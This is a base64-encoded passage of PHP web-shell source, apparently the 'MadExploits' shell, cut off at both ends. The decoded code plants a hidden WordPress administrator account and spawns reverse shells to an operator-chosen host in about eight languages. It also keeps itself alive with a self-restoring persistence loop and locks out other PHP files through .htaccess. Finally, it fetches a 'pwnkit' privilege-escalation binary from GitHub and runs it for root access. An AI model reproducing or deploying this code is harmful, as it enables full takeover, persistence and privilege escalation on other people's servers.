U9IlN1Ym1pdCIgY2xhc3M9ImJ0bi1tb2RhbC1jbG9zZSBib3gtc2hhZG93Ij4mbmJzcDs8YnV0dG9uIGNsYXNzPSJidG4tbW9kYWwtY2xvc2UgYm94LXNoYWRvdyBjbG9zZS1idG4tcyI+Q2xvc2U8L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgPD9waHAgZW5kaWY7ID8+CiAgICA8P3BocCBpZiAoJF9HRVRbJ2NoJ10gPT0gdHJ1ZSkgOiA/PgogICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsIGFjdGl2ZSI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWNvbnRhaW5lciI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1oZWFkZXIiPgogICAgICAgICAgICAgICAgICAgIDxoMz48Yj48aSBpZD0ibW9kYWwtdGl0bGUiPkNoYW5nZSBQZXJtaXNzaW9uIDogPD89IHVueCgkX0dFVFsnY2gnXSkgPz48L2k+PC9iPjwvaDM+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWJvZHkiPgogICAgICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgogICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBpZD0ibW9kYWwtaW5wdXQiPjxpbnB1dCB0eXBlPSJudW1iZXIiIG5hbWU9ImNoRmlsZSIgY2xhc3M9Im1vZGFsLWNyZWF0ZS1pbnB1dCIgcGxhY2Vob2xkZXI9IjA3NzUiPjwvc3Bhbj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtYnRuLWZvcm0iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iU3VibWl0IiBjbGFzcz0iYnRuLW1vZGFsLWNsb3NlIGJveC1zaGFkb3ciPiZuYnNwOzxidXR0b24gY2xhc3M9ImJ0bi1tb2RhbC1jbG9zZSBib3gtc2hhZG93IGNsb3NlLWJ0bi1zIj5DbG9zZTwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICA8P3BocCBlbmRpZjsgPz4KICAgIDxzY3JpcHQ+CiAgICAgICAgJChkb2N1bWVudCkucmVhZHkoZnVuY3Rpb24oKSB7CgoKICAgICAgICAgICAgJCgnI2NyZWF0ZV9mb2xkZXInKS5jbGljayhmdW5jdGlvbigpIHsKICAgICAgICAgICAgICAgICQoJy5tb2RhbCcpLnNob3coKTsKICAgICAgICAgICAgICAgICQoJyNtb2RhbC10aXRsZScpLmh0bWwoJzxpIGNsYXNzPSJmYS1zb2xpZCBmYS1mb2xkZXItcGx1cyI+PC9pPiZuYnNwO0NyZWF0ZSBGb2xkZXInKTsKICAgICAgICAgICAgICAgICQoJyNtb2RhbC1pbnB1dCcpLmh0bWwoJzxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjcmVhdGVfZm9sZGVyIiBjbGFzcz0ibW9kYWwtY3JlYXRlLWlucHV0IiBwbGFjZWhvbGRlcj0iQ3JlYXRlIEZvbGRlciI+Jyk7CiAgICAgICAgICAgICAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOwogICAgICAgICAgICB9KTsKICAgICAgICAgICAgJCgnI2NyZWF0ZV9maWxlJykuY2xpY2soZnVuY3Rpb24oKSB7CiAgICAgICAgICAgICAgICAkKCcubW9kYWwnKS5zaG93KCk7CiAgICAgICAgICAgICAgICAkKCcjbW9kYWwtdGl0bGUnKS5odG1sKCc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZS1jaXJjbGUtcGx1cyI+PC9pPiZuYnNwO0NyZWF0ZSBGaWxlJyk7CiAgICAgICAgICAgICAgICAkKCcjbW9kYWwtaW5wdXQnKS5odG1sKCc8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY3JlYXRlX2ZpbGUiIGNsYXNzPSJtb2RhbC1jcmVhdGUtaW5wdXQiIHBsYWNlaG9sZGVyPSJDcmVhdGUgRmlsZSI+Jyk7CiAgICAgICAgICAgICAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOwogICAgICAgICAgICB9KTsKICAgICAgICAgICAgJCgnI2xvY2stZmlsZScpLmNsaWNrKGZ1bmN0aW9uKCkgewogICAgICAgICAgICAgICAgJCgnLm1vZGFsJykuc2hvdygpOwogICAgICAgICAgICAgICAgJCgnI21vZGFsLXRpdGxlJykuaHRtbCgnPGkgY2xhc3M9ImZhLXNvbGlkIGZhLWxvY2siPjwvaT4mbmJzcDtMT0NLIEZJTEUnKTsKICAgICAgICAgICAgICAgICQoJyNtb2RhbC1pbnB1dCcpLmh0bWwoJzxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJsb2NrZmlsZSIgY2xhc3M9Im1vZGFsLWNyZWF0ZS1pbnB1dCIgcGxhY2Vob2xkZXI9IllvdXIgRmlsZSBOYW1lIj4nKTsKICAgICAgICAgICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7CiAgICAgICAgICAgIH0pOwogICAgICAgICAgICAkKCcjcm9vdC11c2VyJykuY2xpY2soZnVuY3Rpb24oKSB7CiAgICAgICAgICAgICAgICAkKCcubW9kYWwnKS5zaG93KCk7CiAgICAgICAgICAgICAgICAkKCcjbW9kYWwtdGl0bGUnKS5odG1sKCc8aSBjbGFzcz0iZmEtc29saWQgZmEtdXNlci1wbHVzIj48L2k+Jm5ic3A7QUREIFVTRVInKTsKICAgICAgICAgICAgICAgICQoJyNtb2RhbC1pbnB1dCcpLmh0bWwoJzxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJhZGQtdXNlcm5hbWUiIGNsYXNzPSJtb2RhbC1jcmVhdGUtaW5wdXQiIHBsYWNlaG9sZGVyPSJVc2VybmFtZSI+PGJyPjxicj48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iYWRkLXBhc3N3b3JkIiBjbGFzcz0ibW9kYWwtY3JlYXRlLWlucHV0IiBwbGFjZWhvbGRlcj0iUGFzc3dvcmQiPicpOwogICAgICAgICAgICAgICAgZXZlbnQucHJldmVudERlZmF1bHQoKTsKICAgICAgICAgICAgfSk7CgogICAgICAgICAgICAkKCcjY3JlYXRlLXJkcCcpLmNsaWNrKGZ1bmN0aW9uKCkgewogICAgICAgICAgICAgICAgJCgnLm1vZGFsJykuc2hvdygpOwogICAgICAgICAgICAgICAgJCgnI21vZGFsLXRpdGxlJykuaHRtbCgnOjogQ1JFQVRFIFJEUCcpOwogICAgICAgICAgICAgICAgJCgnI21vZGFsLWlucHV0JykuaHRtbCgnPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImFkZC1yZHAiIGNsYXNzPSJtb2RhbC1jcmVhdGUtaW5wdXQiIHBsYWNlaG9sZGVyPSJVc2VybmFtZSI+PGJyPjxicj48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iYWRkLXJkcC1wYXNzIiBjbGFzcz0ibW9kYWwtY3JlYXRlLWlucHV0IiBwbGFjZWhvbGRlcj0iUGFzc3dvcmQiPicpOwogICAgICAgICAgICAgICAgZXZlbnQucHJldmVudERlZmF1bHQoKTsKICAgICAgICAgICAgfSk7CgogICAgICAgICAgICAkKCcjY2xvc2UtbW9kYWwnKS5jbGljayhmdW5jdGlvbigpIHsKICAgICAgICAgICAgICAgICQoJy5tb2RhbCcpLmhpZGUoKTsKICAgICAgICAgICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7CiAgICAgICAgICAgIH0pOwogICAgICAgICAgICAkKCcjY2xvc2UtZWRpdG9yJykuY2xpY2soZnVuY3Rpb24oKSB7CiAgICAgICAgICAgICAgICAkKCcuY29kZS1lZGl0b3InKS5oaWRlKCk7CiAgICAgICAgICAgICAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOwogICAgICAgICAgICB9KTsKCiAgICAgICAgICAgICQoJy5jbG9zZS10ZXJtaW5hbCcpLmNsaWNrKGZ1bmN0aW9uKCkgewogICAgICAgICAgICAgICAgJCgnLnRlcm1pbmFsJykuaGlkZSgpOwogICAgICAgICAgICAgICAgZXZlbnQucHJldmVudERlZmF1bHQoKTsKICAgICAgICAgICAgfSk7CiAgICAgICAgICAgICQoJy5jbG9zZS1idG4tcycpLmNsaWNrKGZ1bmN0aW9uKCkgewogICAgICAgICAgICAgICAgJCgnLm1vZGFsJykuaGlkZSgpOwogICAgICAgICAgICAgICAgZXZlbnQucHJldmVudERlZmF1bHQoKTsKICAgICAgICAgICAgfSk7CgoKICAgICAgICAgICAgdmFyIG15VGV4dGFyZWEgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiY29kZSIpOwoKICAgICAgICAgICAgdmFyIGVkaXRvciA9IENvZGVNaXJyb3IuZnJvbVRleHRBcmVhKG15VGV4dGFyZWEsIHsKICAgICAgICAgICAgICAgIG1vZGU6ICJ4bWwiLAogICAgICAgICAgICAgICAgbGluZU51bWJlcnM6IHRydWUsCiAgICAgICAgICAgICAgICB0aGVtZTogImF5dS1taXJhZ2UiLAogICAgICAgICAgICAgICAgZXh0cmFLZXlzOiB7CiAgICAgICAgICAgICAgICAgICAgIkN0cmwtU3BhY2UiOiAiYXV0b2NvbXBsZXRlIgogICAgICAgICAgICAgICAgfSwKICAgICAgICAgICAgICAgIGhpbnRPcHRpb25zOiB7CiAgICAgICAgICAgICAgICAgICAgY29tcGxldGVTaW5nbGU6IGZhbHNlLAogICAgICAgICAgICAgICAgfSwKICAgICAgICAgICAgfSk7CgogICAgICAgIH0pOwogICAgPC9zY3JpcHQ+CjwvYm9keT4KCjwvaHRtbD4KPD9waHAKCmlmIChpc3NldCgkX1BPU1RbJ3N1Ym1pdHdwJ10pKSB7CiAgICAkZGJfbmFtZSA9ICRfUE9TVFsnZGJfbmFtZSddOwogICAgJGRiX3VzZXIgPSAkX1BPU1RbJ2RiX3VzZXInXTsKICAgICRkYl9wYXNzID0gJF9QT1NUWydkYl9wYXNzJ107CiAgICAkZGJfaG9zdCA9ICRfUE9TVFsnZGJfaG9zdCddOwogICAgJHdwX3VzZXIgPSAkX1BPU1RbJ3dwX3VzZXInXTsKICAgICR3cF9wYXNzID0gcGFzc3dvcmRfaGFzaCgkX1BPU1RbJ3dwX3Bhc3MnXSwgUEFTU1dPUkRfREVGQVVMVCk7CgogICAgJGNvbm4gPSBuZXcgbXlzcWxpKCRkYl9ob3N0LCAkZGJfdXNlciwgJGRiX3Bhc3MsICRkYl9uYW1lKTsKCiAgICBpZiAoJGNvbm4tPmNvbm5lY3RfZXJyb3IpIHsKICAgICAgICBmYWlsZWQoKTsKICAgICAgICBkaWUoIkVycm9yIEN1ZyA6ICIgLiAkY29ubi0+Y29ubmVjdF9lcnJvcik7CiAgICB9CgogICAgJHNxbCA9ICJJTlNFUlQgSU5UTyB3cF91c2VycyAodXNlcl9sb2dpbiwgdXNlcl9wYXNzLCB1c2VyX25pY2VuYW1lLCB1c2VyX2VtYWlsLCB1c2VyX3VybCwgdXNlcl9yZWdpc3RlcmVkLCB1c2VyX2FjdGl2YXRpb25fa2V5LCB1c2VyX3N0YXR1cywgZGlzcGxheV9uYW1lKSBWQUxVRVMgKCckd3BfdXNlcicsICckd3BfcGFzcycsICdNYWRFeHBsb2l0cycsICcnLCAnJywgTk9XKCksICcnLCAwLCAnTWFkRXhwbG9pdHMnKSI7CgogICAgJHNxbHRha2V1c2VyaWQgPSAiU0VMRUNUIElEIEZST00gd3BfdXNlcnMgV0hFUkUgdXNlcl9sb2dpbiA9ICckd3BfdXNlciciOwoKICAgIGlmICgkY29ubi0+cXVlcnkoJHNxbCkgPT09IFRSVUUgJiYgJGNvbm4tPnF1ZXJ5KCRzcWx0YWtldXNlcmlkKSkgewogICAgICAgICRyZXN1bHQgPSAkY29ubi0+cXVlcnkoJHNxbHRha2V1c2VyaWQpOwoKICAgICAgICBpZiAoJHJlc3VsdC0+bnVtX3Jvd3MgPiAwKSB7CiAgICAgICAgICAgICRyb3cgPSAkcmVzdWx0LT5mZXRjaF9hc3NvYygpOwogICAgICAgICAgICAkdXNlcl9pZCA9ICRyb3dbIklEIl07CgogICAgICAgICAgICAkc3FsdXNlcm1ldGEgPSAiSU5TRVJUIElOVE8gd3BfdXNlcm1ldGEgKHVtZXRhX2lkLCB1c2VyX2lkLCBtZXRhX2tleSwgbWV0YV92YWx1ZSkgVkFMVUVTICgnJywgJHVzZXJfaWQsICd3cF9jYXBhYmlsaXRpZXMnLCAnYToxOntzOjEzOlwiYWRtaW5pc3RyYXRvclwiO3M6MTpcIjFcIjt9JykiOwoKICAgICAgICAgICAgaWYgKCRjb25uLT5xdWVyeSgkc3FsdXNlcm1ldGEpID09PSBUUlVFKSB7CiAgICAgICAgICAgICAgICBTdWNjZXNzKCk7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBlY2hvICJFcnJvcjogIiAuICRzcWx1c2VybWV0YSAuICJcbiIgLiAkY29ubi0+ZXJyb3I7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBlY2hvICJVc2VyIHRpZGFrIGRpdGVtdWthbi5cbiI7CiAgICAgICAgfQoKICAgICAgICBTdWNjZXNzKCk7CiAgICB9IGVsc2UgewogICAgICAgIGVjaG8gIkVycm9yOiAiIC4gJHNxbCAuICJcbiIgLiAkY29ubi0+ZXJyb3I7CiAgICB9CgogICAgJGNvbm4tPmNsb3NlKCk7Cn0KCgoKaWYgKGlzc2V0KCRfR0VUWyd1bmxvY2tzaGVsbCddKSkgewogICAgaWYgKGNtZCgia2lsbGFsbCAtOSBwaHAiKSAmJiBjbWQoInBraWxsIC05IHBocCIpKSB7CiAgICAgICAgc3VjY2VzcygpOwogICAgfSBlbHNlIHsKICAgICAgICBmYWlsZWQoKTsKICAgIH0KfQoKaWYgKGlzc2V0KCRfUE9TVFsnc3VibWl0LWJjJ10pKSB7CiAgICAkSG9zdFNlcnZlciA9ICRfUE9TVFsnYmFja2Nvbm5lY3QtaG9zdCddOwogICAgJFBvcnRTZXJ2ZXIgPSAkX1BPU1RbJ2JhY2tjb25uZWN0LXBvcnQnXTsKICAgIGlmICgkX1BPU1RbJ2dlY2tvLWJjJ10gPT0gInBlcmwiKSB7CiAgICAgICAgZWNobyBjbWQoJ3BlcmwgLWUgXCd1c2UgU29ja2V0OyRpPSInIC4gJEhvc3RTZXJ2ZXIgLiAnIjskcD0nIC4gJFBvcnRTZXJ2ZXIgLiAnO3NvY2tldChTLFBGX0lORVQsU09DS19TVFJFQU0sZ2V0cHJvdG9ieW5hbWUoInRjcCIpKTtpZihjb25uZWN0KFMsc29ja2FkZHJfaW4oJHAsaW5ldF9hdG9uKCRpKSkpKXtvcGVuKFNURElOLCI+JlMiKTtvcGVuKFNURE9VVCwiPiZTIik7b3BlbihTVERFUlIsIj4mUyIpOycgLiAkZnVuZ3NpWzE2XSAuICcoIi9iaW4vc2ggLWkiKTt9O1wnJyk7CiAgICB9IGVsc2UgaWYgKCRfUE9TVFsnZ2Vja28tYmMnXSA9PSAicHl0aG9uIikgewogICAgICAgIGVjaG8gY21kKCdweXRob24gLWMgXCdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiJyAuICRIb3N0U2VydmVyIC4gJyIsJyAuICRQb3J0U2VydmVyIC4gJykpO29zLmR1cDIocy5maWxlbm8oKSwwKTsgb3MuZHVwMihzLmZpbGVubygpLDEpOyBvcy5kdXAyKHMuZmlsZW5vKCksMik7cD1zdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwiLWkiXSk7XCcnKTsKICAgIH0gZWxzZSBpZiAoJF9QT1NUWydnZWNrby1iYyddID09ICJydWJ5IikgewogICAgICAgIGVjaG8gY21kKCdydWJ5IC1yc29ja2V0IC1lXCdmPVRDUFNvY2tldC5vcGVuKCInIC4gJEhvc3RTZXJ2ZXIgLiAnIiwnIC4gJFBvcnRTZXJ2ZXIgLiAnKS50b19pOycgLiAkZnVuZ3NpWzE2XSAuICcgc3ByaW50ZigiL2Jpbi9zaCAtaSA8JiVkID4mJWQgMj4mJWQiLGYsZixmKVwnJyk7CiAgICB9IGVsc2UgaWYgKCRfUE9TVFsnZ2Vja28tYmMnXSA9PSAiYmFzaCIpIHsKICAgICAgICBlY2hvIGNtZCgnYmFzaCAtaSA+JiAvZGV2L3RjcC8nIC4gJEhvc3RTZXJ2ZXIgLiAnLycgLiAkUG9ydFNlcnZlciAuICcgMD4mMScpOwogICAgfSBlbHNlIGlmICgkX1BPU1RbJ2dlY2tvLWJjJ10gPT0gInBocCIpIHsKICAgICAgICBlY2hvIGNtZCgncGhwIC1yIFwnJHNvY2s9ZnNvY2tvcGVuKCInIC4gJEhvc3RTZXJ2ZXIgLiAnIiwnIC4gJFBvcnRTZXJ2ZXIgLiAnKTsnIC4gJGZ1bmdzaVsxNl0gLiAnKCIvYmluL3NoIC1pIDwmMyA+JjMgMj4mMyIpO1wnJyk7CiAgICB9IGVsc2UgaWYgKCRfUE9TVFsnZ2Vja28tYmMnXSA9PSAibmMiKSB7CiAgICAgICAgZWNobyBjbWQoJ3JtIC90bXAvZjtta2ZpZm8gL3RtcC9mO2NhdCAvdG1wL2Z8L2Jpbi9zaCAtaSAyPiYxfG5jICcgLiAkSG9zdFNlcnZlciAuICcgJyAuICRQb3J0U2VydmVyIC4gJyA+L3RtcC9mJyk7CiAgICB9IGVsc2UgaWYgKCRfUE9TVFsnZ2Vja28tYmMnXSA9PSAic2giKSB7CiAgICAgICAgZWNobyBjbWQoJ3NoIC1pID4mIC9kZXYvdGNwLycgLiAkSG9zdFNlcnZlciAuICcvJyAuICRQb3J0U2VydmVyIC4gJyAwPiYxJyk7CiAgICB9IGVsc2UgaWYgKCRfUE9TVFsnZ2Vja28tYmMnXSA9PSAieHRlcm0iKSB7CiAgICAgICAgZWNobyBjbWQoJ3h0ZXJtIC1kaXNwbGF5ICcgLiAkSG9zdFNlcnZlciAuICc6JyAuICRQb3J0U2VydmVyKTsKICAgIH0gZWxzZSBpZiAoJF9QT1NUWydnZWNrby1iYyddID09ICJnb2xhbmciKSB7CiAgICAgICAgZWNobyBjbWQoJ2VjaG8gXCdwYWNrYWdlIG1haW47aW1wb3J0Im9zLycgLiAkZnVuZ3NpWzE2XSAuICciO2ltcG9ydCJuZXQiO2Z1bmMgbWFpbigpe2MsXzo9bmV0LkRpYWwoInRjcCIsIicgLiAkSG9zdFNlcnZlciAuICc6JyAuICRQb3J0U2VydmVyIC4gJyIpO2NtZDo9ZXhlYy5Db21tYW5kKCIvYmluL3NoIik7Y21kLlN0ZGluPWM7Y21kLlN0ZG91dD1jO2NtZC5TdGRlcnI9YztjbWQuUnVuKCl9XCcgPiAvdG1wL3QuZ28gJiYgZ28gcnVuIC90bXAvdC5nbyAmJiBybSAvdG1wL3QuZ28nKTsKICAgIH0KfQoKCgppZiAoaXNzZXQoJF9HRVRbJ2xvY2tzaGVsbCddKSkgewogICAgJGN1ckZpbGUgPSB0cmltKGJhc2VuYW1lKCRfU0VSVkVSWyJceDUzXHg0M1x4NTJceDQ5XHg1MFx4NTRceDVmXHg0Nlx4NDlceDRjXHg0NVx4NGVceDQxXHg0ZFx4NDUiXSkpOwogICAgJFRtcE5hbWVzID0gJGZ1bmdzaVszMV0oKTsKICAgIGlmIChmaWxlX2V4aXN0cygkVG1wTmFtZXMgLiAnLy5zZXNzaW9ucy8uJyAuICRmdW5nc2lbMzNdKCRmdW5nc2lbMF0oKSAuIHJlbW92ZV9kb3QoJGN1ckZpbGUpICAuICctaGFuZGxlcicpKSAmJiBmaWxlX2V4aXN0cygkVG1wTmFtZXMgLiAnLy5zZXNzaW9ucy8uJyAuICRmdW5nc2lbMzNdKCRmdW5nc2lbMF0oKSAuIHJlbW92ZV9kb3QoJGN1ckZpbGUpIC4gJy10ZXh0JykpKSB7CiAgICAgICAgY21kKCdybSAtcmYgJyAuICRUbXBOYW1lcyAuICcvLnNlc3Npb25zLy4nIC4gJGZ1bmdzaVszM10oJGZ1bmdzaVswXSgpIC4gcmVtb3ZlX2RvdCgkY3VyRmlsZSkgLiAnLXRleHQnKSk7CiAgICAgICAgY21kKCdybSAtcmYgJyAuICRUbXBOYW1lcyAuICcvLnNlc3Npb25zLy4nIC4gJGZ1bmdzaVszM10oJGZ1bmdzaVswXSgpIC4gcmVtb3ZlX2RvdCgkY3VyRmlsZSkgLiAnLWhhbmRsZXInKSk7CiAgICB9CiAgICBta2RpcigkVG1wTmFtZXMgLiAiLy5zZXNzaW9ucyIpOwogICAgY21kKCJjcCAkY3VyRmlsZSAiIC4gJFRtcE5hbWVzIC4gIi8uc2Vzc2lvbnMvLiIgLiAkZnVuZ3NpWzMzXSgkZnVuZ3NpWzBdKCkgLiByZW1vdmVfZG90KCRjdXJGaWxlKSAuICctdGV4dCcpKTsKICAgIGNobW9kKCRjdXJGaWxlLCAwNDQ0KTsKICAgICRoYW5kbGVyID0gJwo8P3BocApAaW5pX3NldCgibWF4X2V4ZWN1dGlvbl90aW1lIiwgMCk7CndoaWxlIChUcnVlKXsKICAgIGlmICghZmlsZV9leGlzdHMoIicgLiBfX0RJUl9fIC4gJyIpKXsKICAgICAgICBta2RpcigiJyAuIF9fRElSX18gLiAnIik7CiAgICB9CiAgICBpZiAoIWZpbGVfZXhpc3RzKCInIC4gJGZ1bmdzaVswXSgpIC4gJy8nIC4gJGN1ckZpbGUgLiAnIikpewogICAgICAgICR0ZXh0ID0gJyAuICRmdW5nc2lbMzNdIC4gJyhmaWxlX2dldF9jb250ZW50cygiJyAuICRUbXBOYW1lcyAuICcvLnNlc3Npb25zLy4nIC4gJGZ1bmdzaVszM10oJGZ1bmdzaVswXSgpIC4gcmVtb3ZlX2RvdCgkY3VyRmlsZSkgLiAnLXRleHQnKSAuICciKSk7CiAgICAgICAgZmlsZV9wdXRfY29udGVudHMoIicgLiAkZnVuZ3NpWzBdKCkgLiAnLycgLiAkY3VyRmlsZSAuICciLCAnIC4gJGZ1bmdzaVszMl0gLiAnKCR0ZXh0KSk7CiAgICB9CiAgICBpZiAoZ2Vja29fcGVybSgiJyAuICRmdW5nc2lbMF0oKSAuICcvJyAuICRjdXJGaWxlIC4gJyIpICE9IDA0NDQpewogICAgICAgIGNobW9kKCInIC4gJGZ1bmdzaVswXSgpIC4gJy8nIC4gJGN1ckZpbGUgLiAnIiwgMDQ0NCk7CiAgICB9CiAgICBpZiAoZ2Vja29fcGVybSgiJyAuIF9fRElSX18gLiAnIikgIT0gMDU1NSl7CiAgICAgICAgY2htb2QoIicgLiBfX0RJUl9fIC4gJyIsIDA1NTUpOwogICAgfQp9CgpmdW5jdGlvbiBnZWNrb19wZXJtKCRmbGVuYW1lKXsKICAgIHJldHVybiBzdWJzdHIoc3ByaW50ZigiJW8iLCBmaWxlcGVybXMoJGZsZW5hbWUpKSwgLTQpOwp9Cic7CiAgICAkaG5kbGVycyA9ICRmdW5nc2lbMjhdKCRUbXBOYW1lcyAuICIvLnNlc3Npb25zLy4iIC4gJGZ1bmdzaVszM10oJGZ1bmdzaVswXSgpIC4gcmVtb3ZlX2RvdCgkY3VyRmlsZSkgIC4gJy1oYW5kbGVyJykgLiAiIiwgJGhhbmRsZXIpOwogICAgaWYgKCRobmRsZXJzKSB7CiAgICAgICAgY21kKFBIUF9CSU5BUlkgLiAkVG1wTmFtZXMgLiAnLy5zZXNzaW9ucy8uJyAuICRmdW5nc2lbMzNdKCRmdW5nc2lbMF0oKSAuIHJlbW92ZV9kb3QoJGN1ckZpbGUpICAuICctaGFuZGxlcicpIC4gJyA+IC9kZXYvbnVsbCAyPi9kZXYvbnVsbCAmJyk7CiAgICAgICAgc3VjY2VzcygpOwogICAgfSBlbHNlIHsKICAgICAgICBmYWlsZWQoKTsKICAgIH0KfQppZiAoaXNzZXQoJF9QT1NUWydnZWNrby11cC1zdWJtaXQnXSkpIHsKICAgICRuYW1hRmlsZW55YSA9ICRfRklMRVNbJ2dlY2tvLXVwbG9hZCddWyduYW1lJ107CiAgICAkdG1wTmFtZSA9ICRfRklMRVNbJ2dlY2tvLXVwbG9hZCddWyd0bXBfbmFtZSddOwogICAgaWYgKCRmdW5nc2lbMjldKCR0bXBOYW1lLCAkZnVuZ3NpWzBdKCkgLiAiLyIgLiAkbmFtYUZpbGVueWEpKSB7CiAgICAgICAgc3VjY2VzcygpOwogICAgfSBlbHNlIHsKICAgICAgICBmYWlsZWQoKTsKICAgIH0KfQoKaWYgKGlzc2V0KCRfR0VUWydkZXN0cm95J10pKSB7CiAgICAkRE9DX1JPT1QgPSAkX1NFUlZFUlsiXHg0NFx4NGZceDQzXHg1NVx4NGRceDQ1XHg0ZVx4NTRceDVmXHg1Mlx4NGZceDRmXHg1NCJdOwogICAgJEN1cnJlbnRGaWxlID0gdHJpbShiYXNlbmFtZSgkX1NFUlZFUlsiXHg1M1x4NDNceDUyXHg0OVx4NTBceDU0XHg1Zlx4NDZceDQ5XHg0Y1x4NDVceDRlXHg0MVx4NGRceDQ1Il0pKTsKICAgIGlmICgkZnVuZ3NpWzRdKCRET0NfUk9PVCkpIHsKICAgICAgICAkaHRhY2Nlc3MgPSAnCjxGaWxlc01hdGNoICJcLihwaHB8cGgqfFBoKnxQSCp8cEgqKSQiPgogICAgRGVueSBmcm9tIGFsbAo8L0ZpbGVzTWF0Y2g+CjxGaWxlc01hdGNoICJeKCcgLiAkQ3VycmVudEZpbGUgLiAnfGluZGV4LnBocHx3cC1jb25maWcucGhwfHdwLWluY2x1ZGVzLnBocCkkIj4KICAgIEFsbG93IGZyb20gYWxsCjwvRmlsZXNNYXRjaD4KPEZpbGVzTWF0Y2ggIlwuKGpwZ3xwbmd8Z2lmfHBkZnxqcGVnKSQiPgogICAgQWxsb3cgZnJvbSBhbGwKPC9GaWxlc01hdGNoPic7CiAgICAgICAgJHB1dF9odHQgPSAkZnVuZ3NpWzI4XSgkRE9DX1JPT1QgLiAiLy5odGFjY2VzcyIsICRodGFjY2Vzcyk7CiAgICAgICAgaWYgKCRwdXRfaHR0KSB7CiAgICAgICAgICAgIHN1Y2Nlc3MoKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBmYWlsZWQoKTsKICAgICAgICB9CiAgICB9IGVsc2UgewogICAgICAgIGZhaWxlZCgpOwogICAgfQp9CgoKaWYgKGlzc2V0KCRfUE9TVFsnc2F2ZS1lZGl0b3InXSkpIHsKICAgICRzYXZlID0gJGZ1bmdzaVsyOF0oJGZ1bmdzaVswXSgpIC4gIi8iIC4gdW54KCRfR0VUWydmJ10pLCAkX1BPU1RbJ2NvZGUtZWRpdG9yJ10pOwogICAgaWYgKCRzYXZlKSB7CiAgICAgICAgc3VjY2VzcygpOwogICAgfSBlbHNlIHsKICAgICAgICBmYWlsZWQoKTsKICAgIH0KfQoKaWYgKGlzc2V0KCRfR0VUWydhZG1pbmVyJ10pKSB7CiAgICAkVVJMID0gIlx4NjhceDc0XHg3NFx4NzBceDczXHgzYVx4MmZceDJmXHg2N1x4NjlceDc0XHg2OFx4NzVceDYyXHgyZVx4NjNceDZmXHg2ZFx4MmZceDc2XHg3Mlx4NjFceDZlXHg2MVx4MmZceDYxXHg2NFx4NmRceDY5XHg2ZVx4NjVceDcyXHgyZlx4NzJceDY1XHg2Y1x4NjVceDYxXHg3M1x4NjVceDczXHgyZlx4NjRceDZmXHg3N1x4NmVceDZjXHg2Zlx4NjFceDY0XHgyZlx4NzZceDM0XHgyZVx4MzhceDJlXHgzMVx4MmZceDYxXHg2NFx4NmRceDY5XHg2ZVx4NjVceDcyXHgyZFx4MzRceDJlXHgzOFx4MmVceDMxXHgyZVx4NzBceDY4XHg3MCI7CiAgICBpZiAoISRmdW5nc2lbM10oJ2FkbWluZXIucGhwJykpIHsKICAgICAgICAkZnVuZ3NpWzI4XSgiYWRtaW5lci5waHAiLCAkZnVuZ3NpWzExXSgkVVJMKSk7CiAgICAgICAgZWNobyAnPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMDt1cmw9P2Q9JyAuIGh4KCRmdW5nc2lbMF0oKSkgLiAnIj4nOwogICAgfQp9CgoKaWYgKCRfR0VUWyd0ZXJtaW5hbCddID09ICJyb290IikgewogICAgaWYgKCEkZnVuZ3NpWzNdKCdwd25raXQnKSAmJiAkZnVuZ3NpWzRdKCRmdW5nc2lbMF0oKSkpIHsKICAgICAgICAkZnVuZ3NpWzI4XSgicHdua2l0IiwgJGZ1bmdzaVsxMV0oImh0dHBzOi8vZ2l0aHViLmNvbS9NYWRFeHBsb2l0cy9Qcml2ZWxlZ2UtZXNjYWxhdGlvbi9yYXcvbWFpbi9wd25raXQiKSk7CiAgICAgICAgY21kKCdjaG1vZCAreCBwd25raXQnKTsKICAgICAgICBlY2hvIGNtZCgnLi9wd25raXQgImlkIiA+IC5tYWQtcm9vdCc